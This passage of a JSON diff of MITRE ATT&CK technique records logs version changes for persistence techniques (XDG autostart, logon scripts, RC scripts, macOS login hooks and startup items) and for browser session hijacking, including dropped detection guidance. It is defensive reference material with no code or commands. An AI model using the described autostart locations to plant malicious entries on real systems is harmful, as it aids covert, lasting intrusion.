Lateral Movement.\"}}}",
+ "previous_version": "1.3",
+ "changelog_mitigations": {
+ "shared": [
+ "M1018: User Account Management",
+ "M1038: Execution Prevention"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0011: Module (Module Load)",
+ "DS0017: Command (Command Execution)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0404: Detect Winlogon Helper DLL Abuse via Registry and Process Artifacts on Windows"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2019-09-10 18:13:12.195000+00:00",
+ "modified": "2025-10-24 17:49:30.252000+00:00",
+ "name": "XDG Autostart Entries",
+ "description": "Adversaries may add or modify XDG Autostart Entries to execute malicious programs or commands when a user\u2019s desktop environment is loaded at login. XDG Autostart entries are available for any XDG-compliant Linux system. XDG Autostart entries use Desktop Entry files (`.desktop`) to configure the user\u2019s desktop environment upon user login. These configuration files determine what applications launch upon user login, define associated applications to open specific file types, and define applications used to open removable media.(Citation: Free Desktop Application Autostart Feb 2006)(Citation: Free Desktop Entry Keys)\n\nAdversaries may abuse this feature to establish persistence by adding a path to a malicious binary or command to the `Exec` directive in the `.desktop` configuration file. When the user\u2019s desktop environment is loaded at user login, the `.desktop` files located in the XDG Autostart directories are automatically executed. System-wide Autostart entries are located in the `/etc/xdg/autostart` directory while the user entries are located in the `~/.config/autostart` directory.\n\nAdversaries may combine this technique with [Masquerading](https://attack.mitre.org/techniques/T1036) to blend malicious Autostart entries with legitimate programs.(Citation: Red Canary Netwire Linux 2022)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1547/013",
+ "external_id": "T1547.013"
+ },
+ {
+ "source_name": "Free Desktop Application Autostart Feb 2006",
+ "description": "Free Desktop. (2006, February 13). Desktop Application Autostart Specification. Retrieved September 12, 2019.",
+ "url": "https://specifications.freedesktop.org/autostart-spec/autostart-spec-latest.html"
+ },
+ {
+ "source_name": "Free Desktop Entry Keys",
+ "description": "Free Desktop. (2017, December 24). Recognized Desktop Entry Keys. Retrieved November 17, 2024.",
+ "url": "https://specifications.freedesktop.org/desktop-entry-spec/latest/recognized-keys.html"
+ },
+ {
+ "source_name": "Red Canary Netwire Linux 2022",
+ "description": "TONY LAMBERT. (2022, June 7). Trapping the Netwire RAT on Linux. Retrieved September 28, 2023.",
+ "url": "https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Tony Lambert, Red Canary"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Command: Command Execution\", \"Process: Process Creation\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:30.252000+00:00\", \"old_value\": \"2025-04-15 19:59:14.885000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Malicious XDG autostart entries may be detected by auditing file creation and modification events within the /etc/xdg/autostart and ~/.config/autostart directories. Depending on individual configurations, defenders may need to query the environment variables $XDG_CONFIG_HOME or $XDG_CONFIG_DIRS to determine the paths of Autostart entries. Autostart entry files not associated with legitimate packages may be considered suspicious. Suspicious entries can also be identified by comparing entries to a trusted system baseline.\\n \\nSuspicious processes or scripts spawned in this manner will have a parent process of the desktop component implementing the XDG specification and will execute as the logged on user.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Malicious XDG autostart entries may be detected by auditing file creation and modification events within the /etc/xdg/autostart and ~/.config/autostart directories. Depending on individual configurations, defenders may need to query the environment variables $XDG_CONFIG_HOME or $XDG_CONFIG_DIRS to determine the paths of Autostart entries. Autostart entry files not associated with legitimate packages may be considered suspicious. Suspicious entries can also be identified by comparing entries to a trusted system baseline.\\n- \\n-Suspicious processes or scripts spawned in this manner will have a parent process of the desktop component implementing the XDG specification and will execute as the logged on user.\"}}}",
+ "previous_version": "1.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1018: User Account Management",
+ "M1022: Restrict File and Directory Permissions",
+ "M1033: Limit Software Installation"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Creation)",
+ "DS0022: File (File Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0390: Linux Detection Strategy for T1547.013 - XDG Autostart Entries"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2017-05-31 21:30:38.910000+00:00",
+ "modified": "2025-10-24 17:48:20.077000+00:00",
+ "name": "Boot or Logon Initialization Scripts",
+ "description": "Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence.(Citation: Mandiant APT29 Eye Spy Email Nov 22)(Citation: Anomali Rocke March 2019) Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely. \n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. \n\nAn adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1037",
+ "external_id": "T1037"
+ },
+ {
+ "source_name": "Anomali Rocke March 2019",
+ "description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019.",
+ "url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang"
+ },
+ {
+ "source_name": "Mandiant APT29 Eye Spy Email Nov 22",
+ "description": "Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.",
+ "url": "https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "macOS",
+ "Windows",
+ "Linux",
+ "Network Devices",
+ "ESXi"
+ ],
+ "x_mitre_version": "2.4",
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+ "previous_version": "2.4",
+ "changelog_mitigations": {
+ "shared": [
+ "M1022: Restrict File and Directory Permissions",
+ "M1024: Restrict Registry Permissions"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Creation)",
+ "DS0022: File (File Modification)",
+ "DS0024: Windows Registry (Windows Registry Key Creation)",
+ "DS0026: Active Directory (Active Directory Object Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0112: Boot or Logon Initialization Scripts Detection Strategy"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--43ba2b05-cf72-4b6c-8243-03a4aba41ee0",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-10 16:01:15.995000+00:00",
+ "modified": "2025-10-24 17:48:42.963000+00:00",
+ "name": "Login Hook",
+ "description": "Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the /Library/Preferences/com.apple.loginwindow.plist file and can be modified using the defaults command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev) \n\nAdversaries can add or insert a path to a malicious script in the com.apple.loginwindow.plist file, using the LoginHook or LogoutHook key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)\n\n**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) ",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1037/002",
+ "external_id": "T1037.002"
+ },
+ {
+ "source_name": "Login Scripts Apple Dev",
+ "description": "Apple. (2016, September 13). Customizing Login and Logout. Retrieved April 1, 2022.",
+ "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html"
+ },
+ {
+ "source_name": "LoginWindowScripts Apple Dev",
+ "description": "Apple. (n.d.). LoginWindowScripts. Retrieved April 1, 2022.",
+ "url": "https://developer.apple.com/documentation/devicemanagement/loginwindowscripts"
+ },
+ {
+ "source_name": "Wardle Persistence Chapter",
+ "description": "Patrick Wardle. (n.d.). Chapter 0x2: Persistence. Retrieved April 13, 2022.",
+ "url": "https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf"
+ },
+ {
+ "source_name": "S1 macOs Persistence",
+ "description": "Stokes, P. (2019, July 17). How Malware Persists on macOS. Retrieved March 27, 2020.",
+ "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/"
+ }
+ ],
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+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "macOS"
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+ "x_mitre_version": "2.0",
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+ "M1022: Restrict File and Directory Permissions"
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+ "new": [
+ "DET0244: Detection Strategy for Login Hook Persistence on macOS"
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+ "id": "attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-10 03:43:37.211000+00:00",
+ "modified": "2025-10-24 17:49:33.610000+00:00",
+ "name": "Logon Script (Windows)",
+ "description": "Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts) This is done via adding a path to a script to the HKCU\\Environment\\UserInitMprLogonScript Registry key.(Citation: Hexacorn Logon Scripts)\n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. ",
+ "kill_chain_phases": [
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
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+ "revoked": false,
+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1037/001",
+ "external_id": "T1037.001"
+ },
+ {
+ "source_name": "Hexacorn Logon Scripts",
+ "description": "Hexacorn. (2014, November 14). Beyond good ol\u2019 Run key, Part 18. Retrieved November 15, 2019.",
+ "url": "http://www.hexacorn.com/blog/2014/11/14/beyond-good-ol-run-key-part-18/"
+ },
+ {
+ "source_name": "TechNet Logon Scripts",
+ "description": "Microsoft. (2005, January 21). Creating logon scripts. Retrieved April 27, 2016.",
+ "url": "https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.0",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\", \"Windows Registry: Windows Registry Key Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:33.610000+00:00\", \"old_value\": \"2025-04-15 22:46:59.108000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for changes to Registry values associated with Windows logon scrips, nameley HKCU\\\\Environment\\\\UserInitMprLogonScript.\\n\\nMonitor running process for actions that could be indicative of abnormal programs or executables running upon logon.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for changes to Registry values associated with Windows logon scrips, nameley HKCU\\\\Environment\\\\UserInitMprLogonScript.\\n-\\n-Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.\"}}}",
+ "previous_version": "1.0",
+ "changelog_mitigations": {
+ "shared": [
+ "M1024: Restrict Registry Permissions"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0024: Windows Registry (Windows Registry Key Creation)"
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+ "shared": [],
+ "new": [
+ "DET0072: Detect Logon Script Modifications and Execution"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--c63a348e-ffc2-486a-b9d9-d7f11ec54d99",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-10 18:01:03.666000+00:00",
+ "modified": "2025-10-24 17:49:21.921000+00:00",
+ "name": "Network Logon Script",
+ "description": "Adversaries may use network logon scripts automatically executed at logon initialization to establish persistence. Network logon scripts can be assigned using Active Directory or Group Policy Objects.(Citation: Petri Logon Script AD) These logon scripts run with the privileges of the user they are assigned to. Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems. \n \nAdversaries may use these scripts to maintain persistence on a network. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.",
+ "kill_chain_phases": [
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ },
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
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+ ],
+ "revoked": false,
+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1037/003",
+ "external_id": "T1037.003"
+ },
+ {
+ "source_name": "Petri Logon Script AD",
+ "description": "Daniel Petri. (2009, January 8). Setting up a Logon Script through Active Directory Users and Computers in Windows Server 2008. Retrieved November 15, 2019.",
+ "url": "https://www.petri.com/setting-up-logon-script-through-active-directory-users-computers-windows-server-2008"
+ }
+ ],
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+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
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+ "x_mitre_platforms": [
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+ ],
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+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Active Directory: Active Directory Object Modification\", \"File: File Modification\", \"Process: Process Creation\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:21.921000+00:00\", \"old_value\": \"2025-04-15 22:51:42.187000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.\"}}}",
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+ "M1022: Restrict File and Directory Permissions"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
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+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Creation)",
+ "DS0022: File (File Modification)",
+ "DS0026: Active Directory (Active Directory Object Modification)"
+ ]
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+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0367: Detect Network Logon Script Abuse via Multi-Event Correlation on Windows"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-15 16:25:22.260000+00:00",
+ "modified": "2025-10-24 17:49:28.955000+00:00",
+ "name": "RC Scripts",
+ "description": "Adversaries may establish persistence by modifying RC scripts, which are executed during a Unix-like system\u2019s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.\n\nAdversaries may establish persistence by adding a malicious binary path or shell commands to rc.local, rc.common, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence.\n\nAdversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as ESXi hypervisors, IoT, or embedded systems.(Citation: intezer-kaiji-malware) As ESXi servers store most system files in memory and therefore discard changes on shutdown, leveraging `/etc/rc.local.d/local.sh` is one of the few mechanisms for enabling persistence across reboots.(Citation: Juniper Networks ESXi Backdoor 2022)\n\nSeveral Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of Launchd.(Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)",
+ "kill_chain_phases": [
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1037/004",
+ "external_id": "T1037.004"
+ },
+ {
+ "source_name": "Apple Developer Doco Archive Launchd",
+ "description": "Apple. (2016, September 13). Daemons and Services Programming Guide - Creating Launch Daemons and Agents. Retrieved February 24, 2021.",
+ "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html"
+ },
+ {
+ "source_name": "Startup Items",
+ "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.",
+ "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html"
+ },
+ {
+ "source_name": "Juniper Networks ESXi Backdoor 2022",
+ "description": "Asher Langton. (2022, December 9). A Custom Python Backdoor for VMWare ESXi Servers. Retrieved March 26, 2025.",
+ "url": "https://blogs.juniper.net/en-us/threat-research/a-custom-python-backdoor-for-vmware-esxi-servers"
+ },
+ {
+ "source_name": "Ubuntu Manpage systemd rc",
+ "description": "Canonical Ltd.. (n.d.). systemd-rc-local-generator - Compatibility generator for starting /etc/rc.local and /usr/sbin/halt.local during boot and shutdown. Retrieved February 23, 2021.",
+ "url": "http://manpages.ubuntu.com/manpages/bionic/man8/systemd-rc-local-generator.8.html"
+ },
+ {
+ "source_name": "IranThreats Kittens Dec 2017",
+ "description": "Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code. Retrieved May 28, 2020.",
+ "url": "https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/"
+ },
+ {
+ "source_name": "Methods of Mac Malware Persistence",
+ "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
+ "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
+ },
+ {
+ "source_name": "intezer-kaiji-malware",
+ "description": "Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020.",
+ "url": "https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/"
+ },
+ {
+ "source_name": "Intezer HiddenWasp Map 2019",
+ "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.",
+ "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/"
+ }
+ ],
+ "object_marking_refs": [
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+ "x_mitre_detection": "",
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+ "x_mitre_platforms": [
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+ "Network Devices",
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+ "x_mitre_version": "2.2",
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+ "description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may establish persistence by modifying RC script | t | 1 | Adversaries may establish persistence by modifying RC script |
| > | s, which are executed during a Unix-like system\u2019s startup. T | > | s, which are executed during a Unix-like system\u2019s startup. T | ||
| > | hese files allow system administrators to map and start cust | > | hese files allow system administrators to map and start cust | ||
| > | om services at startup for different run levels. RC scripts | > | om services at startup for different run levels. RC scripts | ||
| > | require root privileges to modify. Adversaries may establis | > | require root privileges to modify. Adversaries may establis | ||
| > | h persistence by adding a malicious binary path or shell com | > | h persistence by adding a malicious binary path or shell com | ||
| > | mands to <code>rc.local</code>, <code>rc.common</code>, and | > | mands to <code>rc.local</code>, <code>rc.common</code>, and | ||
| > | other RC scripts specific to the Unix-like distribution.(Cit | > | other RC scripts specific to the Unix-like distribution.(Cit | ||
| > | ation: IranThreats Kittens Dec 2017)(Citation: Intezer Hidde | > | ation: IranThreats Kittens Dec 2017)(Citation: Intezer Hidde | ||
| > | nWasp Map 2019) Upon reboot, the system executes the script' | > | nWasp Map 2019) Upon reboot, the system executes the script' | ||
| > | s contents as root, resulting in persistence. Adversary abu | > | s contents as root, resulting in persistence. Adversary abu | ||
| > | se of RC scripts is especially effective for lightweight Uni | > | se of RC scripts is especially effective for lightweight Uni | ||
| > | x-like distributions using the root user as default, such as | > | x-like distributions using the root user as default, such as | ||
| > | ESXi hypervisors, IoT, or embedded systems.(Citation: intez | > | ESXi hypervisors, IoT, or embedded systems.(Citation: intez | ||
| > | er-kaiji-malware) As ESXi servers store most system files in | > | er-kaiji-malware) As ESXi servers store most system files in | ||
| > | memory and therefore discard changes on shutdown, leveragin | > | memory and therefore discard changes on shutdown, leveragin | ||
| > | g `/etc/rc.local.d/local.sh` is one of the few mechanisms fo | > | g `/etc/rc.local.d/local.sh` is one of the few mechanisms fo | ||
| > | r enabling persistence across reboots.(Citation: Juniper Net | > | r enabling persistence across reboots.(Citation: Juniper Net | ||
| > | works ESXi Backdoor 2022) Several Unix-like systems have mo | > | works ESXi Backdoor 2022) Several Unix-like systems have mo | ||
| > | ved to Systemd and deprecated the use of RC scripts. This is | > | ved to Systemd and deprecated the use of RC scripts. This is | ||
| > | now a deprecated mechanism in macOS in favor of [Launchd](h | > | now a deprecated mechanism in macOS in favor of Launchd.(Ci | ||
| > | ttps://attack.mitre.org/techniques/T1053/004).(Citation: App | > | tation: Apple Developer Doco Archive Launchd)(Citation: Star | ||
| > | le Developer Doco Archive Launchd)(Citation: Startup Items) | > | tup Items) This technique can be used on Mac OS X Panther v1 | ||
| > | This technique can be used on Mac OS X Panther v10.3 and ear | > | 0.3 and earlier versions which still execute the RC scripts. | ||
| > | lier versions which still execute the RC scripts.(Citation: | > | (Citation: Methods of Mac Malware Persistence) To maintain b | ||
| > | Methods of Mac Malware Persistence) To maintain backwards co | > | ackwards compatibility some systems, such as Ubuntu, will ex | ||
| > | mpatibility some systems, such as Ubuntu, will execute the R | > | ecute the RC scripts if they exist with the correct file per | ||
| > | C scripts if they exist with the correct file permissions.(C | > | missions.(Citation: Ubuntu Manpage systemd rc) | ||
| > | itation: Ubuntu Manpage systemd rc) |
/Library/StartupItems isn\u2019t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism.(Citation: Methods of Mac Malware Persistence) Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.",
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+ "url": "https://attack.mitre.org/techniques/T1037/005",
+ "external_id": "T1037.005"
+ },
+ {
+ "source_name": "Startup Items",
+ "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.",
+ "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html"
+ },
+ {
+ "source_name": "Methods of Mac Malware Persistence",
+ "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
+ "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
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+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Creation)",
+ "DS0022: File (File Modification)"
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+ "shared": [],
+ "new": [
+ "DET0429: Detect Modification of macOS Startup Items"
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+ "modified": "2025-10-24 17:48:50.561000+00:00",
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+ "phase_name": "discovery"
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+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1217",
+ "external_id": "T1217"
+ },
+ {
+ "source_name": "Chrome Roaming Profiles",
+ "description": "Chrome Enterprise and Education Help. (n.d.). Use Chrome Browser with Roaming User Profiles. Retrieved March 28, 2023.",
+ "url": "https://support.google.com/chrome/a/answer/7349337"
+ },
+ {
+ "source_name": "Kaspersky Autofill",
+ "description": "Golubev, S. (n.d.). How malware steals autofill data from browsers. Retrieved March 28, 2023.",
+ "url": "https://www.kaspersky.com/blog/browser-data-theft/27871/"
+ }
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+ "x_mitre_contributors": [
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+ "Manikantan Srinivasan, NEC Corporation India",
+ "Yinon Engelsman, Talon Cyber Security",
+ "Yonatan Gotlib, Talon Cyber Security"
+ ],
+ "x_mitre_deprecated": false,
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Windows"
+ ],
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+ "DET0013: Detection of Local Browser Artifact Access for Reconnaissance"
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+ "dropped": []
+ }
+ },
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+ "id": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47",
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+ "created": "2018-01-16 16:13:52.465000+00:00",
+ "modified": "2025-10-24 17:48:48.383000+00:00",
+ "name": "Browser Session Hijacking",
+ "description": "Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.(Citation: Wikipedia Man in the Browser)\n\nA specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet.(Citation: Cobalt Strike Browser Pivot)(Citation: ICEBRG Chrome Extensions) Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights.\n\nAnother example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.(Citation: cobaltstrike manual)",
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "collection"
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+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1185",
+ "external_id": "T1185"
+ },
+ {
+ "source_name": "Wikipedia Man in the Browser",
+ "description": "Wikipedia. (2017, October 28). Man-in-the-browser. Retrieved January 10, 2018.",
+ "url": "https://en.wikipedia.org/wiki/Man-in-the-browser"
+ },
+ {
+ "source_name": "Cobalt Strike Browser Pivot",
